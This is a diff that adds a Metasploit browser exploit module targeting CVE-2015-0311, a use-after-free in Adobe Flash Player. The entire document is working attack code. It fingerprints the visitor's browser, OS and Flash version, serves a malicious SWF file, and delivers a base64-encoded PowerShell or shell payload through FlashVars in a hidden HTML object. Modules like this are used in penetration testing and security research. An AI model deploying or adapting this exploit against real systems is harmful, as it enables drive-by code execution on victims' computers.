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| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Exploit::Remote |
| 9 | + Rank = NormalRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Powershell |
| 12 | + include Msf::Exploit::Remote::BrowserExploitServer |
| 13 | + |
| 14 | + def initialize(info={}) |
| 15 | + super(update_info(info, |
| 16 | + 'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', |
| 17 | + 'Description' => %q{ |
| 18 | + This module exploits an use after free vulnerability in Adobe Flash Player. The |
| 19 | + vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying |
| 20 | + to uncompress() a malformed byte stream. This module has been tested successfully |
| 21 | + on: |
| 22 | + * Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235. |
| 23 | + * Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404. |
| 24 | + }, |
| 25 | + 'License' => MSF_LICENSE, |
| 26 | + 'Author' => |
| 27 | + [ |
| 28 | + 'Unknown', # Vulnerability discovery and exploit in the wild |
| 29 | + 'hdarwin', # Public exploit by @hdarwin89 |
| 30 | + 'juan vazquez' # msf module |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['CVE', '2015-0311'], |
| 35 | + ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'], |
| 36 | + ['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'], |
| 37 | + ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/'] |
| 38 | + ], |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'DisableNops' => true |
| 42 | + }, |
| 43 | + 'Platform' => ['win', 'unix'], |
| 44 | + 'Arch' => [ARCH_X86, ARCH_CMD], |
| 45 | + 'BrowserRequirements' => |
| 46 | + { |
| 47 | + :source => /script|headers/i, |
| 48 | + :os_name => lambda do |os| |
| 49 | + os =~ OperatingSystems::Match::LINUX || |
| 50 | + os =~ OperatingSystems::Match::WINDOWS_7 |
| 51 | + end, |
| 52 | + :ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) }, |
| 53 | + :flash => lambda do |ver| |
| 54 | + (ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')) || |
| 55 | + (ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')) |
| 56 | + end, |
| 57 | + :arch => ARCH_X86 |
| 58 | + }, |
| 59 | + 'Targets' => |
| 60 | + [ |
| 61 | + [ 'Windows', |
| 62 | + { |
| 63 | + 'Platform' => 'win', |
| 64 | + 'Arch' => ARCH_X86 |
| 65 | + } |
| 66 | + ], |
| 67 | + [ 'Linux', |
| 68 | + { |
| 69 | + 'Platform' => 'unix', |
| 70 | + 'Arch' => ARCH_CMD |
| 71 | + } |
| 72 | + ] |
| 73 | + ], |
| 74 | + 'Privileged' => false, |
| 75 | + 'DisclosureDate' => 'Apr 28 2014', |
| 76 | + 'DefaultTarget' => 0)) |
| 77 | + end |
| 78 | + |
| 79 | + def exploit |
| 80 | + @swf = create_swf |
| 81 | + |
| 82 | + super |
| 83 | + end |
| 84 | + |
| 85 | + def on_request_exploit(cli, request, target_info) |
| 86 | + print_status("Request: #{request.uri}") |
| 87 | + |
| 88 | + if request.uri =~ /\.swf$/ |
| 89 | + print_status('Sending SWF...') |
| 90 | + send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) |
| 91 | + return |
| 92 | + end |
| 93 | + |
| 94 | + print_status('Sending HTML...') |
| 95 | + send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) |
| 96 | + end |
| 97 | + |
| 98 | + def exploit_template(cli, target_info) |
| 99 | + swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" |
| 100 | + target_payload = get_payload(cli, target_info) |
| 101 | + |
| 102 | + if target.name =~ /Windows/ |
| 103 | + psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) |
| 104 | + b64_payload = Rex::Text.encode_base64(psh_payload) |
| 105 | + platform_id = 'win' |
| 106 | + elsif target.name =~ /Linux/ |
| 107 | + b64_payload = Rex::Text.encode_base64(target_payload) |
| 108 | + platform_id = 'linux' |
| 109 | + end |
| 110 | + |
| 111 | + html_template = %Q|<html> |
| 112 | + <body> |
| 113 | + <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> |
| 114 | + <param name="movie" value="<%=swf_random%>" /> |
| 115 | + <param name="allowScriptAccess" value="always" /> |
| 116 | + <param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" /> |
| 117 | + <param name="Play" value="true" /> |
| 118 | + <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/> |
| 119 | + </object> |
| 120 | + </body> |
| 121 | + </html> |
| 122 | + | |
| 123 | + |
| 124 | + return html_template, binding() |
| 125 | + end |
| 126 | + |
| 127 | + def create_swf |
| 128 | + path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf') |
| 129 | + swf = ::File.open(path, 'rb') { |f| swf = f.read } |
| 130 | + |
| 131 | + swf |
| 132 | + end |
| 133 | + |
| 134 | +end |
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